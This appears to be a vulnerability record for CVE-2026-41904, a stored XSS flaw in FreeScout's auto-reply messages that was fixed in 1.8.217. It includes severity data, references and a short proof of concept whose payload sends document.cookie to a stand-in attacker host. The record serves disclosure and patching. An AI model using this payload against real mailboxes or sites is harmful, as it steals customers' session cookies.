CVE-2026-41904

<!-- Proof of Concept: Stored XSS in Auto-reply --> <!-- Step 1: Inject payload in FreeScout Auto-reply settings --> <img src=x onerror=alert(document.cookie)> <!-- Advanced payload: Exfiltrate data --> <script> var i = new Image(); i.src = "http://attacker-controlled-server.com/collect?c=" + encodeURIComponent(document.cookie); document.body.appendChild(i); </script>

{"cve": {"id": "CVE-2026-41904", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.087", "lastModified": "2026-05-07T20:16:43.753", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.217, a user with updateAutoReply permission can store an XSS payload in the mailbox auto-reply message. The payload is rendered unescaped in the auto-reply email sent to every customer who contacts the mailbox. Email clients do not enforce CSP, so the payload executes in the customer's webmail / mail-client context. This issue has been patched in version 1.8.217."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.217", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q3fh-rj9h-jfrc", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q3fh-rj9h-jfrc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}